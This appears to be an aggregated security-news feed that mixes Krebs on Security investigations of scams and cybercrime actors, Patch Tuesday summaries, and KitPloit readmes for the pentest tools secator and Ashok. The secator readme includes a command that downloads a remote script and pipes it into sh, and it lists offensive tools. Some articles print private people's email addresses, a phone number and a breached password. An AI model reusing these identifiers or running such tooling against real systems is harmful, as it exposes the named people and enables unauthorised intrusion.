In a “Fun Facts” list posted to the channel in late September, Araneida said their service was used to take over more than 30,000 websites in just six months, and that one customer used it to buy a Porsche with the payment card data (“dumps”) they sold.

Araneida Scanner’s Telegram channel bragging about how customers are using the service for cybercrime.

“They are constantly bragging with their community about the crimes that are being committed, how it’s making criminals money,” said Zach Edwards, a senior threat researcher at Silent Push. “They are also selling bulk data and dumps which appear to have been acquired with this tool or due to vulnerabilities found with the tool.”

Silent Push also found a cracked version of Acunetix was powering at least 20 instances of a similar cloud-based vulnerability testing service catering to Mandarin speakers, but they were unable to find any apparently related sales threads about them on the dark web.

Rumors of a cracked version of Acunetix being used by attackers surfaced in June 2023 on Twitter/X, when researchers first posited a connection between observed scanning activity and Araneida.

According to an August 2023 report (PDF) from the U.S. Department of Health and Human Services (HHS), Acunetix (presumably a cracked version) is among several tools used by APT 41, a prolific Chinese state-sponsored hacking group.

THE TURKISH CONNECTION

Silent Push notes that the website where Araneida is being sold — araneida[.]co — first came online in February 2023. But a review of this Araneida nickname on the cybercrime forums shows they have been active in the criminal hacking scene since at least 2018.

A search in the threat intelligence platform Intel 471 shows a user by the name Araneida promoted the scanner on two cybercrime forums since 2022, including Breached and Nulled. In 2022, Araneida told fellow Breached members they could be reached on Discord at the username “Ornie#9811.”

According to Intel 471, this same Discord account was advertised in 2019 by a person on the cybercrime forum Cracked who used the monikers “ORN” and “ori0n.” The user “ori0n” mentioned in several posts that they could be reached on Telegram at the username “@sirorny.”

Orn advertising Araneida Scanner in Feb. 2023 on the forum Cracked. Image: Ke-la.com.

The Sirorny Telegram identity also was referenced as a point of contact for a current user on the cybercrime forum Nulled who is selling website development services, and who references araneida[.]co as one of their projects. That user, “Exorn,” has posts dating back to August 2018.

In early 2020, Exorn promoted a website called “orndorks[.]com,” which they described as a service for automating the scanning for web-based vulnerabilities. A passive DNS lookup on this domain at DomainTools.com shows that its email records pointed to the address ori0nbusiness@protonmail.com.

Constella Intelligence, a company that tracks information exposed in data breaches, finds this email address was used to register an account at Breachforums in July 2024 under the nickname “Ornie.” Constella also finds the same email registered at the website netguard[.]codes in 2021 using the password “ceza2003” [full disclosure: Constella is currently an advertiser on KrebsOnSecurity].

A search on the password ceza2003 in Constella finds roughly a dozen email addresses that used it in an exposed data breach, most of them featuring some variation on the name “altugsara,” including altugsara321@gmail.com. Constella further finds altugsara321@gmail.com was used to create an account at the cybercrime community RaidForums under the username “ori0n,” from an Internet address in Istanbul.

According to DomainTools, altugsara321@gmail.com was used in 2020 to register the domain name altugsara[.]com. Archive.org’s history for that domain shows that in 2021 it featured a website for a then 18-year-old Altuğ Şara from Ankara, Turkey.

Archive.org’s recollection of what altugsara dot com looked like in 2021.

LinkedIn finds this same altugsara[.]com domain listed in the “contact info” section of a profile for an Altug Sara from Ankara, who says he has worked the past two years as a senior software developer for a Turkish IT firm called Bilitro Yazilim.

Neither Altug Sara nor Bilitro Yazilim responded to requests for comment.

Invicti’s website states that it has offices in Ankara, but the company’s CEO said none of their employees recognized either name.

“We do have a small team in Ankara, but as far as I know we have no connection to the individual other than the fact that they are also in Ankara,” Invicti CEO Neil Roseman told KrebsOnSecurity.

Researchers at Silent Push say despite Araneida using a seemingly endless supply of proxies to mask the true location of its users, it is a fairly “noisy” scanner that will kick off a large volume of requests to various API endpoints, and make requests to random URLs associated with different content management systems.

What’s more, the cracked version of Acunetix being resold to cybercriminals invokes legacy Acunetix SSL certificates on active control panels, which Silent Push says provides a solid pivot for finding some of this infrastructure, particularly from the Chinese threat actors.

Further reading: Silent Push’s research on Araneida Scanner.

☐ ☆ ✇ Krebs on Security

Microsoft Patch Tuesday, November 2024 Edition

By: BrianKrebs — November 12th 2024 at 21:59

Microsoft today released updates to plug at least 89 security holes in its Windows operating systems and other software. November’s patch batch includes fixes for two zero-day vulnerabilities that are already being exploited by attackers, as well as two other flaws that were publicly disclosed prior to today.

The zero-day flaw tracked as CVE-2024-49039 is a bug in the Windows Task Scheduler that allows an attacker to increase their privileges on a Windows machine. Microsoft credits Google’s Threat Analysis Group with reporting the flaw.

The second bug fixed this month that is already seeing in-the-wild exploitation is CVE-2024-43451, a spoofing flaw that could reveal Net-NTLMv2 hashes, which are used for authentication in Windows environments.

Satnam Narang, senior staff research engineer at Tenable, says the danger with stolen NTLM hashes is that they enable so-called “pass-the-hash” attacks, which let an attacker masquerade as a legitimate user without ever having to log in or know the user’s password. Narang notes that CVE-2024-43451 is the third NTLM zero-day so far this year.

“Attackers continue to be adamant about discovering and exploiting zero-day vulnerabilities that can disclose NTLMv2 hashes, as they can be used to authenticate to systems and potentially move laterally within a network to access other systems,” Narang said.

The two other publicly disclosed weaknesses Microsoft patched this month are CVE-2024-49019, an elevation of privilege flaw in Active Directory Certificate Services (AD CS); and CVE-2024-49040, a spoofing vulnerability in Microsoft Exchange Server.

Ben McCarthy, lead cybersecurity engineer at Immersive Labs, called special attention to CVE-2024-43639, a remote code execution vulnerability in Windows Kerberos, the authentication protocol that is heavily used in Windows domain networks.

“This is one of the most threatening CVEs from this patch release,” McCarthy said. “Windows domains are used in the majority of enterprise networks, and by taking advantage of a cryptographic protocol vulnerability, an attacker can perform privileged acts on a remote machine within the network, potentially giving them eventual access to the domain controller, which is the goal for many attackers when attacking a domain.”

McCarthy also pointed to CVE-2024-43498, a remote code execution flaw in .NET and Visual Studio that could be used to install malware. This bug has earned a CVSS severity rating of 9.8 (10 is the worst).

Finally, at least 29 of the updates released today tackle memory-related security issues involving SQL server, each of which earned a threat score of 8.8. Any one of these bugs could be used to install malware if an authenticated user connects to a malicious or hacked SQL database server.

For a more detailed breakdown of today’s patches from Microsoft, check out the SANS Internet Storm Center’s list. For administrators in charge of managing larger Windows environments, it pays to keep an eye on Askwoody.com, which frequently points out when specific Microsoft updates are creating problems for a number of users.

As always, if you experience any problems applying any of these updates, consider dropping a note about it in the comments; chances are excellent that someone else reading here has experienced the same issue, and maybe even has found a solution.

☐ ☆ ✇ Krebs on Security

Patch Tuesday, October 2024 Edition

By: BrianKrebs — October 8th 2024 at 22:21

Microsoft today released security updates to fix at least 117 security holes in Windows computers and other software, including two vulnerabilities that are already seeing active attacks. Also, Adobe plugged 52 security holes across a range of products, and Apple has addressed a bug in its new macOS 15Sequoia” update that broke many cybersecurity tools.

One of the zero-day flaws — CVE-2024-43573 — stems from a security weakness in MSHTML, the proprietary engine of Microsoft’s Internet Explorer web browser. If that sounds familiar it’s because this is the fourth MSHTML vulnerability found to be exploited in the wild so far in 2024.

Nikolas Cemerikic, a cybersecurity engineer at Immersive Labs, said the vulnerability allows an attacker to trick users into viewing malicious web content, which could appear legitimate thanks to the way Windows handles certain web elements.

“Once a user is deceived into interacting with this content (typically through phishing attacks), the attacker can potentially gain unauthorized access to sensitive information or manipulate web-based services,” he said.

Cemerikic noted that while Internet Explorer is being retired on many platforms, its underlying MSHTML technology remains active and vulnerable.

“This creates a risk for employees using these older systems as part of their everyday work, especially if they are accessing sensitive data or performing financial transactions online,” he said.

Probably the more serious zero-day this month is CVE-2024-43572, a code execution bug in the Microsoft Management Console, a component of Windows that gives system administrators a way to configure and monitor the system.

Satnam Narang, senior staff research engineer at Tenable, observed that the patch for CVE-2024-43572 arrived a few months after researchers at Elastic Security Labs disclosed an attack technique called GrimResource that leveraged an old cross-site scripting (XSS) vulnerability combined with a specially crafted Microsoft Saved Console (MSC) file to gain code execution privileges.

“Although Microsoft patched a different MMC vulnerability in September (CVE-2024-38259) that was neither exploited in the wild nor publicly disclosed,” Narang said. “Since the discovery of CVE-2024-43572, Microsoft now prevents untrusted MSC files from being opened on a system.”

Microsoft also patched Office, Azure, .NET, OpenSSH for Windows; Power BI; Windows Hyper-V; Windows Mobile Broadband, and Visual Studio. As usual, the SANS Internet Storm Center has a list of all Microsoft patches released today, indexed by severity and exploitability.

Late last month, Apple rolled out macOS 15, an operating system update called Sequoia that broke the functionality of security tools made by a number of vendors, including CrowdStrike, SentinelOne and Microsoft. On Oct. 7, Apple pushed an update to Sequoia users that addresses these compatibility issues.

Finally, Adobe has released security updates to plug a total of 52 vulnerabilities in a range of software, including Adobe Substance 3D Painter, Commerce, Dimension, Animate, Lightroom, InCopy, InDesign, Substance 3D Stager, and Adobe FrameMaker.

Please consider backing up important data before applying any updates. Zero-days aside, there’s generally little harm in waiting a few days to apply any pending patches, because not infrequently a security update introduces stability or compatibility issues. AskWoody.com usually has the skinny on any problematic patches.

And as always, if you run into any glitches after installing patches, leave a note in the comments; chances are someone else is stuck with the same issue and may have even found a solution.

☐ ☆ ✇ KitPloit - PenTest Tools!

Secator - The Pentester'S Swiss Knife

By: Unknown — September 22nd 2024 at 11:30


secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.


Features

  • Curated list of commands

  • Unified input options

  • Unified output schema

  • CLI and library usage

  • Distributed options with Celery

  • Complexity from simple tasks to complex workflows

  • Customizable


Supported tools

secator integrates the following tools:

Name Description Category
httpx Fast HTTP prober. http
cariddi Fast crawler and endpoint secrets / api keys / tokens matcher. http/crawler
gau Offline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan). http/crawler
gospider Fast web spider written in Go. http/crawler
katana Next-generation crawling and spidering framework. http/crawler
dirsearch Web path discovery. http/fuzzer
feroxbuster Simple, fast, recursive content discovery tool written in Rust. http/fuzzer
ffuf Fast web fuzzer written in Go. http/fuzzer
h8mail Email OSINT and breach hunting tool. osint
dnsx Fast and multi-purpose DNS toolkit designed for running DNS queries. recon/dns
dnsxbrute Fast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode). recon/dns
subfinder Fast subdomain finder. recon/dns
fping Find alive hosts on local networks. recon/ip
mapcidr Expand CIDR ranges into IPs. recon/ip
naabu Fast port discovery tool. recon/port
maigret Hunt for user accounts across many websites. recon/user
gf A wrapper around grep to avoid typing common patterns. tagger
grype A vulnerability scanner for container images and filesystems. vuln/code
dalfox Powerful XSS scanning tool and parameter analyzer. vuln/http
msfconsole CLI to access and work with the Metasploit Framework. vuln/http
wpscan WordPress Security Scanner vuln/multi
nmap Vulnerability scanner using NSE scripts. vuln/multi
nuclei Fast and customisable vulnerability scanner based on simple YAML based DSL. vuln/multi
searchsploit Exploit searcher. exploit/search

Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

Installation

Installing secator

Pipx
pipx install secator
Pip
pip install secator
Bash
wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
Docker
docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
The volume mount -v is necessary to save all secator reports to your host machine, and--net=host is recommended to grant full access to the host network. You can alias this command to run it easier:
alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
Now you can run secator like if it was installed on baremetal:
secator --help
Docker Compose
git clone https://github.com/freelabz/secator
cd secator
docker-compose up -d
docker-compose exec secator secator --help

Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

Installing languages

secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

We provide utilities to install required languages if you don't manage them externally:

Go
secator install langs go
Ruby
secator install langs ruby

Installing tools

secator does not install any of the external tools it supports by default.

We provide utilities to install or update each supported tool which should work on all systems supporting apt:

All tools
secator install tools
Specific tools
secator install tools <TOOL_NAME>
For instance, to install `httpx`, use:
secator install tools httpx

Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

Installing addons

secator comes installed with the minimum amount of dependencies.

There are several addons available for secator:

worker Add support for Celery workers (see [Distributed runs with Celery](https://docs.freelabz.com/in-depth/distributed-runs-with-celery)).
secator install addons worker
google Add support for Google Drive exporter (`-o gdrive`).
secator install addons google
mongodb Add support for MongoDB driver (`-driver mongodb`).
secator install addons mongodb
redis Add support for Redis backend (Celery).
secator install addons redis
dev Add development tools like `coverage` and `flake8` required for running tests.
secator install addons dev
trace Add tracing tools like `memray` and `pyinstrument` required for tracing functions.
secator install addons trace
build Add `hatch` for building and publishing the PyPI package.
secator install addons build

Install CVEs

secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

secator install cves

Checking installation health

To figure out which languages or tools are installed on your system (along with their version):

secator health

Usage

secator --help


Usage examples

Run a fuzzing task (ffuf):

secator x ffuf http://testphp.vulnweb.com/FUZZ

Run a url crawl workflow:

secator w url_crawl http://testphp.vulnweb.com

Run a host scan:

secator s host mydomain.com

and more... to list all tasks / workflows / scans that you can use:

secator x --help
secator w --help
secator s --help

Learn more

To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube



☐ ☆ ✇ Krebs on Security

Scam ‘Funeral Streaming’ Groups Thrive on Facebook

By: BrianKrebs — September 18th 2024 at 13:43

Scammers are flooding Facebook with groups that purport to offer video streaming of funeral services for the recently deceased. Friends and family who follow the links for the streaming services are then asked to cough up their credit card information. Recently, these scammers have branched out into offering fake streaming services for nearly any kind of event advertised on Facebook. Here’s a closer look at the size of this scheme, and some findings about who may be responsible.

One of the many scam funeral group pages on Facebook. Clicking to view the “live stream” of the funeral takes one to a newly registered website that requests credit card information.

KrebsOnSecurity recently heard from a reader named George who said a friend had just passed away, and he noticed that a Facebook group had been created in that friend’s memory. The page listed the correct time and date of the funeral service, which it claimed could be streamed over the Internet by following a link that led to a page requesting credit card information.

“After I posted about the site, a buddy of mine indicated [the same thing] happened to her when her friend passed away two weeks ago,” George said.

Searching Facebook/Meta for a few simple keywords like “funeral” and “stream” reveals countless funeral group pages on Facebook, some of them for services in the past and others erected for an upcoming funeral.

All of these groups include images of the deceased as their profile photo, and seek to funnel users to a handful of newly-registered video streaming websites that require a credit card payment before one can continue. Even more galling, some of these pages request donations in the name of the deceased.

It’s not clear how many Facebook users fall for this scam, but it’s worth noting that many of these fake funeral groups attract subscribers from at least some of the deceased’s followers, suggesting those users have subscribed to the groups in anticipation of the service being streamed. It’s also unclear how many people end up missing a friend or loved one’s funeral because they mistakenly thought it was being streamed online.

One of many look-alike landing pages for video streaming services linked to scam Facebook funeral groups.

George said their friend’s funeral service page on Facebook included a link to the supposed live-streamed service at livestreamnow[.]xyz, a domain registered in November 2023.

According to DomainTools.com, the organization that registered this domain is called “apkdownloadweb,” is based in Rajshahi, Bangladesh, and uses the DNS servers of a Web hosting company in Bangladesh called webhostbd[.]net.

A search on “apkdownloadweb” in DomainTools shows three domains registered to this entity, including live24sports[.]xyz and onlinestreaming[.]xyz. Both of those domains also used webhostbd[.]net for DNS. Apkdownloadweb has a Facebook page, which shows a number of “live video” teasers for sports events that have already happened, and says its domain is apkdownloadweb[.]com.

Livestreamnow[.]xyz is currently hosted at a Bangladeshi web hosting provider named cloudswebserver[.]com, but historical DNS records show this website also used DNS servers from webhostbd[.]net.

The Internet address of livestreamnow[.]xyz is 148.251.54.196, at the hosting giant Hetzner in Germany. DomainTools shows this same Internet address is home to nearly 6,000 other domains (.CSV), including hundreds that reference video streaming terms, like watchliveon24[.]com and foxsportsplus[.]com.

There are thousands of domains at this IP address that include or end in the letters “bd,” the country code top-level domain for Bangladesh. Although many domains correspond to websites for electronics stores or blogs about IT topics, just as many contain a fair amount of placeholder content (think “lorem ipsum” text on the “contact” page). In other words, the sites appear legitimate at first glance, but upon closer inspection it is clear they are not currently used by active businesses.

The passive DNS records for 148.251.54.196 show a surprising number of results that are basically two domain names mushed together. For example, there is watchliveon24[.]com.playehq4ks[.]com, which displays links to multiple funeral service streaming groups on Facebook.

Another combined domain on the same Internet address — livestreaming24[.]xyz.allsportslivenow[.]com — lists dozens of links to Facebook groups for funerals, but also for virtually all types of events that are announced or posted about by Facebook users, including graduations, concerts, award ceremonies, weddings, and rodeos.

Even community events promoted by state and local police departments on Facebook are fair game for these scammers. A Facebook page maintained by the police force in Plympton, Mass. for a town social event this summer called Plympton Night Out was quickly made into two different Facebook groups that informed visitors they could stream the festivities at either espnstreamlive[.]co or skysports[.]live.

WHO’S BEHIND THE FAKEBOOK FUNERALS?

Recall that the registrant of livestreamnow[.]xyz — the bogus streaming site linked in the Facebook group for George’s late friend — was an organization called “Apkdownloadweb.” That entity’s domain — apkdownloadweb[.]com — is registered to a Mazidul Islam in Rajshahi, Bangladesh (this domain is also using Webhostbd[.]net DNS servers).

Mazidul Islam’s LinkedIn page says he is the organizer of a now defunct IT blog called gadgetsbiz[.]com, which DomainTools finds was registered to a Mehedi Hasan from Rajshahi, Bangladesh.

To bring this full circle, DomainTools finds the domain name for the DNS provider on all of the above-mentioned sites  — webhostbd[.]net — was originally registered to a Md Mehedi, and to the email address webhostbd.net@gmail.com (“MD” is a common abbreviation for Muhammad/Mohammod/Muhammed).

A search on that email address at Constella finds a breached record from the data broker Apollo.io saying its owner’s full name is Mohammod Mehedi Hasan. Unfortunately, this is not a particularly unique name in that region of the world.

But as luck would have it, sometime last year the administrator of apkdownloadweb[.]com managed to infect their Windows PC with password-stealing malware. We know this because the raw logs of data stolen from this administrator’s PC were indexed by the breach tracking service Constella Intelligence [full disclosure: As of this month, Constella is an advertiser on this website].

These so-called “stealer logs” are mostly generated by opportunistic infections from information-stealing trojans that are sold on cybercrime markets. A typical set of logs for a compromised PC will include any usernames and passwords stored in any browser on the system, as well as a list of recent URLs visited and files downloaded.

Malware purveyors will often deploy infostealer malware by bundling it with “cracked” or pirated software titles. Indeed, the stealer logs for the administrator of apkdownloadweb[.]com show this user’s PC became infected immediately after they downloaded a booby-trapped mobile application development toolkit.

Those stolen credentials indicate Apkdownloadweb[.]com is maintained by a 20-something native of Dhaka, Bangladesh named Mohammod Abdullah Khondokar.

The “browser history” folder from the admin of Apkdownloadweb shows Khondokar recently left a comment on the Facebook page of Mohammod Mehedi Hasan, and Khondokar’s Facebook profile says the two are friends.

Neither MD Hasan nor MD Abdullah Khondokar responded to requests for comment. KrebsOnSecurity also sought comment from Meta.

☐ ☆ ✇ Krebs on Security

When Get-Out-The-Vote Efforts Look Like Phishing

By: BrianKrebs — August 28th 2024 at 23:55

Multiple media reports this week warned Americans to be on guard against a new phishing scam that arrives in a text message informing recipients they are not yet registered to vote. A bit of digging reveals the missives were sent by a California political consulting firm as part of a well-meaning but potentially counterproductive get-out-the-vote effort that had all the hallmarks of a phishing campaign.

Image: WDIV Detroit on Youtube.

On Aug. 27, the local Channel 4 affiliate WDIV in Detroit warned about a new SMS message wave that they said could prevent registered voters from casting their ballot. The story didn’t explain how or why the scam could block eligible voters from casting ballots, but it did show one of the related text messages, which linked to the site all-vote.com.

“We have you in our records as not registered to vote,” the unbidden SMS advised. “Check your registration status & register in 2 minutes.”

Similar warnings came from an ABC station in Arizona, and from an NBC affiliate in Pennsylvania, where election officials just issued an alert to be on the lookout for scam messages coming from all-vote.com. Some people interviewed who received the messages said they figured it was a scam because they knew for a fact they were registered to vote in their state. WDIV even interviewed a seventh-grader from Canada who said he also got the SMS saying he wasn’t registered to vote.

Someone trying to determine whether all-vote.com was legitimate might visit the main URL first (as opposed to just clicking the link in the SMS) to find out more about the organization. But visiting all-vote.com directly presents one with a login page to an online service called bl.ink. DomainTools.com finds all-vote.com was registered on July 10, 2024. Red flag #1.

The information requested from people who visited votewin.org via the SMS campaign.

Another version of this SMS campaign told recipients to check their voter status at a site called votewin.org, which DomainTools says was registered July 9, 2024. There is little information about who runs votewin.org on its website, and the contact page leads to generic contact form. Red Flag #2.

What’s more, Votewin.org asks visitors to supply their name, address, email address, date of birth, mobile phone number, while pre-checking options to sign the visitor up for more notifications. Big Red Flag #3.

Votewin.org’s Terms of Service referenced a California-based voter engagement platform called VoteAmerica LLC. The same voter registration query form advertised in the SMS messages is available if one clicks the “check your registration status” link on voteamerica.org.

VoteAmerica founder Debra Cleaver told KrebsOnSecurity the entity responsible for the SMS campaigns telling people they weren’t registered is Movement Labs, a political consulting firm in San Francisco.

Cleaver said her office had received several inquiries about the messages, which violate a key tenet of election outreach: Never tell the recipient what their voter status may be.

“That’s one of the worst practices,” Cleaver said. “You never tell someone what the voter file says because voter files are not reliable, and are often out of date.”

Reached via email, Movement Labs founder Yoni Landau said the SMS campaigns targeted “underrepresented groups in the electorate, young people, folks who are moving, low income households and the like, who are unregistered in our databases, with the intent to help them register to vote.”

Landau said filling out the form on Votewin.org merely checks to see if the visitor is registered to vote in their state, and then attempts to help them register if not.

“We understand that many people are jarred by the messages – we tested hundreds of variations of messages and found that these had the largest impact on someone’s likelihood to register,” he said. “I’m deeply sorry for anyone that may have gotten the message in error, who is registered to vote, and we’re looking into our content now to see if there are any variations that might be less certain but still as effective in generating new legal registrations.”

Cleaver said Movement Labs’ SMS campaign may have been incompetent, but it wasn’t malicious.

“When you work in voter mobilization, it’s not enough to want to do good, you actually need to be good,” she said. “At the end of the day the end result of incompetence and maliciousness is the same: increased chaos, reduced voter turnout, and long-term harm to our democracy.”

To register to vote or to update your voter registration, visit vote.gov and select your state or region.

☐ ☆ ✇ Krebs on Security

Cybercrime Rapper Sues Bank over Fraud Investigation

By: BrianKrebs — August 7th 2024 at 19:01

A partial selfie posted by Punchmade Dev to his Twitter account. Yes, that is a functioning handheld card skimming device, encrusted in diamonds. Underneath that are more medallions, including a diamond-studded bitcoin and payment card.

In January, KrebsOnSecurity wrote about rapper Punchmade Dev, whose music videos sing the praises of a cybercrime lifestyle. That story showed how Punchmade’s social media profiles promoted Punchmade-themed online stores selling bank account and payment card data. The subject of that piece, a 22-year-old Kentucky man, is now brazenly suing his financial institution after it blocked a $75,000 wire transfer and froze his account, citing an active law enforcement investigation.

With memorable hits such as “Internet Swiping” and “Million Dollar Criminal” earning millions of views, Punchmade Dev has leveraged his considerable following to peddle tutorials on how to commit financial crimes online. But until recently, there wasn’t much to support a conclusion that Punchmade was actually doing the cybercrime things he promotes in his songs.

That changed earlier this year when KrebsOnSecurity showed how Punchmade’s social media handles were promoting Punchmade e-commerce shops online that sold access to Cashapp and PayPal accounts with balances, software for printing checks, as well as personal and financial data on Americans.

Punchmade Dev’s previous online shop (now defunct). His Telegram channel has more than 75,000 followers.

The January story traced Punchmade’s various online properties to a 22-year-old Devon Turner from Lexington, Ky. Reached via his profile on X/Twitter, Punchmade Dev said they were not affiliated with the lawsuit filed by Turner [Punchmade’s X account provided this denial even though it has still not responded to requests for comment from the first story about him in January]. Meanwhile, Mr. Turner has declined multiple requests to comment for this story.

On June 26, Turner filed a pro se lawsuit against PNC Bank, alleging “unlawful discriminatory and tortuous action” after he was denied a wire transfer in the amount of $75,000. PNC Bank did not respond to a request for comment.

Turner’s complaint states that a follow-up call to his bank revealed the account had been closed due to “suspicious activity,” and that he was no longer welcome to patronize PNC Bank.

“The Plaintiff is a very successful African-American business owner, who has generated millions of dollars with his businesses, has hired 30 plus people to work for his businesses,” Turner wrote.

As reported in January, among Turner’s businesses is a Lexington entity called OBN Group LLC (assumed name Punchmade LLC). Business incorporation documents from the Kentucky Secretary of State show he also ran a record label called DevTakeFlightBeats Inc.

Turner’s lawsuit alleges that bank staff made disparaging remarks about him, suggesting the account was canceled because it would be unusual for a person like him to have that kind of money.

A snippet from Turner’s lawsuit vs. PNC.

Incredibly, Turner acknowledges that PNC told him his account was flagged for attention from law enforcement officials.

“The PNC Bank customer service representative also explained that there was a note on the account that law enforcement would be contacted at some point in time,” the lawsuit reads.

“The Plaintiff, who was not worried at all about law enforcement being involved because nothing illegal occurred, informed the PNC Bank representative that this was one big mistake and asked him what his options were,” the complaint states.

Devon Turner, a.k.a. “Punchmade Dev,” in an undated photo, wearing a diamond-covered Visa card. Image: tiktok.com/brainjuiceofficial

Turner’s lawsuit said PNC told him they would put a note on his account allowing him to withdraw the funds from any branch, but that when he visited a PNC branch and asked to withdraw the entire amount in his account — $500,000 — PNC refused, saying the money had been seized.

“Ultimately, PNC bank not only refused his request to release his funds but informed him that his funds would be seized indefinitely as [sic] PNC Bank,” Turner lawsuit recounts.

The Punchmade shops selling financial data that were profiled in the January story are long gone, but Punchmade’s Instagram account now promotes punchmade[.]cc, which behaves and looks the same as his older shop.

Punchmade’s current shop, which DomainTools says was registered to a Lexington, Ky. phone number used by accounts under the name of Devon Turner at multiple online retailers.

The breach tracking service Constella Intelligence finds the email address associated with Turner’s enterprise OBN Group LLC — obndevpayments@gmail.com — was used by a Devon Turner from Lexington to purchase software online. That record includes the Lexington, Ky. mobile phone number 859-963-6243, which Constella also finds was used to register accounts for Devon Turner at the retailer Neiman Marcus, and at the home decor and fashion site poshmark.com.

A search on this phone number at DomainTools shows it is associated with two domain names since 2021. The first is the aforementioned punchmade[.]cc. The other is foreverpunchmade[.]com, which is registered to a Devon Turner in Lexington, Ky. A copy of this site at archive.org indicates it once sold Punchmade Dev-branded t-shirts and other merchandise.

Mr. Turner included his contact information at the bottom of his lawsuit. What phone number did he leave? Would you believe 859-963-6243?

The closing section of Mr. Turner’s complaint includes a phone number that was used to register a popular online fraud shop named after Punchmade.

Is Punchmade Dev a big-time cybercriminal enabler, as his public personna would have us believe? Or is he some two-bit nitwit who has spent so much on custom medallions that he can’t afford a lawyer? It’s hard to tell.

But he definitively has a broad reach: His Instagram account has ~860k followers, and his Telegram channel has more than 75,000 subscribers, all no doubt seeking that sweet “C@sh App sauce,” which apparently has something to do with moving cryptocurrencies through Cash App in a way that financially rewards people able and willing to open up new accounts.

It’s incredibly ironic that Punchmade sells tutorials on how to have great “opsec,” a reference to “operational security,” which in the cybercriminal context means the ability to successfully separate one’s cybercriminal identity from one’s real-life identity: This guy can’t even register a domain name anonymously.

A copy of Turner’s complaint is available here (PDF).

For more on Punchmade, check out the TikTok video How Punchmade Dev Got Started Scamming.

Update, Aug. 8, 8:49 a.m. ET: A reader pointed out that Turner also recently sued a Mercedes Benz dealership in Illinois, allegedly for selling him a lemon. In that pro se complaint, Turner included the contact email address punchmadedev@gmail.com.

☐ ☆ ✇ KitPloit - PenTest Tools!

Ashok - A OSINT Recon Tool, A.K.A Swiss Army Knife

By: Unknown — June 26th 2024 at 12:30


Reconnaissance is the first phase of penetration testing which means gathering information before any real attacks are planned So Ashok is an Incredible fast recon tool for penetration tester which is specially designed for Reconnaissance" title="Reconnaissance">Reconnaissance phase. And in Ashok-v1.1 you can find the advanced google dorker and wayback crawling machine.



Main Features

- Wayback Crawler Machine
- Google Dorking without limits
- Github Information Grabbing
- Subdomain Identifier
- Cms/Technology Detector With Custom Headers

Installation

~> git clone https://github.com/ankitdobhal/Ashok
~> cd Ashok
~> python3.7 -m pip3 install -r requirements.txt

How to use Ashok?

A detailed usage guide is available on Usage section of the Wiki.

But Some index of options is given below:

Docker

Ashok can be launched using a lightweight Python3.8-Alpine Docker image.

$ docker pull powerexploit/ashok-v1.2
$ docker container run -it powerexploit/ashok-v1.2 --help


    Credits



    ☐ ☆ ✇ Krebs on Security

    KrebsOnSecurity Threatened with Defamation Lawsuit Over Fake Radaris CEO

    By: BrianKrebs — June 20th 2024 at 19:16

    On March 8, 2024, KrebsOnSecurity published a deep dive on the consumer data broker Radaris, showing how the original owners are two men in Massachusetts who operated multiple Russian language dating services and affiliate programs, in addition to a dizzying array of people-search websites. The subjects of that piece are threatening to sue KrebsOnSecurity for defamation unless the story is retracted. Meanwhile, their attorney has admitted that the person Radaris named as the CEO from its inception is a fabricated identity.

    Radaris is just one cog in a sprawling network of people-search properties online that sell highly detailed background reports on U.S. consumers and businesses. Those reports typically include the subject’s current and previous addresses, partial Social Security numbers, any known licenses, email addresses and phone numbers, as well as the same information for any of their immediate relatives.

    Radaris has a less-than-stellar reputation when it comes to responding to consumers seeking to have their reports removed from its various people-search services. That poor reputation, combined with indications that the true founders of Radaris have gone to extraordinary lengths to conceal their stewardship of the company, was what prompted KrebsOnSecurity to investigate the origins of Radaris in the first place.

    On April 18, KrebsOnSecurity received a certified letter (PDF) from Valentin “Val” Gurvits, an attorney with the Boston Law Group, stating that KrebsOnSecurity would face a withering defamation lawsuit unless the Radaris story was immediately retracted and an apology issued to the two brothers named in the story as co-founders.

    That March story worked backwards from the email address used to register radaris.com, and charted an impressive array of data broker companies created over the past 15 years by Massachusetts residents Dmitry and Igor Lubarsky (also sometimes spelled Lybarsky or Lubarski). Dmitry goes by “Dan,” and Igor uses the name “Gary.”

    Those businesses included numerous websites marketed to Russian-speaking people who are new to the United States, such as russianamerica.com, newyork.ru, russiancleveland.com, russianla.com, russianmiami.com, etc. Other domains connected to the Lubarskys included Russian-language dating and adult websites, as well as affiliate programs for their international calling card businesses.

    A mind map of various entities apparently tied to Radaris and the company’s co-founders. Click to enlarge.

    The story on Radaris noted that the Lubarsky brothers registered most of their businesses using a made-up name — “Gary Norden,” sometimes called Gary Nord or Gary Nard.

    Mr. Gurvits’ letter stated emphatically that my reporting was lazy, mean-spirited, and obviously intended to smear the reputation of his clients. By way of example, Mr. Gurvits said the Lubarskys were actually Ukrainian, and that the story painted his clients in a negative light by insinuating that they were somehow associated with Radaris and with vaguely nefarious elements in Russia.

    But more to the point, Mr. Gurvits said, neither of his clients were Gary Norden, and neither had ever held any leadership positions at Radaris, nor were they financial beneficiaries of the company in any way.

    “Neither of my clients is a founder of Radaris, and neither of my clients is the CEOs of Radaris,” Gurvits wrote. “Additionally, presently and going back at least the past 10 years, neither of my clients are (or were) officers or employees of Radaris. Indeed, neither of them even owns (or ever owned) any equity in Radaris. In intentional disregard of these facts, the Article implies that my clients are personally responsible for Radaris’ actions. Therefore, you intentionally caused all negative allegations in the Article made with respect to Radaris to be imputed against my clients personally.”

    Dan Lubarsky’s Facebook page, just prior to the March 8 story about Radaris, said he was from Moscow.

